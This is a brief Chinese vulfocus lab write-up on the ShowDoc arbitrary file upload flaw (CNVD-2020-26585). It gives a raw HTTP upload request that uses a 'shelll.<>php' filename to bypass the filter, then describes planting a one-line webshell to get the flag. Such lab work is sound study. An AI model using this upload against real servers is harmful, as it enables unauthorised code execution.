vulfocus——showdoc文件上传(cnvd-2020-26585）

描述

 ShowDoc是一个非常适合IT团队的在线API文档、技术文档工具。通过showdoc，你可以方便地使用markdown语法来书写出美观的API文档、数据字典文档、技术文档、在线excel文档等等。
api_page存在任意文件上传.

复现

1.打开web页面直接抓包，然后改包

POST /index.php?s=/home/page/uploadImg HTTP/1.1
Host: 123.58.224.8:13374
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1661606197,1663322124; csrf_2698a4=b425a1c9; _ga=GA1.1.2104325447.1662173640; s7t_sid=rpp3fr; s7t_visitedfid=2; BOg8_2132_saltkey=QzYq2Yi9; BOg8_2132_lastvisit=1663245404; PHPSESSID=qi82pvceb9i3lf2fm6q7majkt7; think_language=zh-CN
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 27 Jun 2020 14:44:38 GMT
If-None-Match: "679-5a911dd6d0180-gzip"
Content-Type: multipart/form-data; boundary=--------------------------921378126371623762173617
Content-Length: 262

----------------------------921378126371623762173617
Content-Disposition: form-data; name="editormd-image-file"; filename="shelll.<>php"
Content-Type: text/plain

----------------------------921378126371623762173617--

2.写入一句话木马，然后发送，返回文件路径

3.访问文件路径，出现“hello”，说明木马是成功写入的，用webshell工具连接获得flag

4.或者不使用webshell工具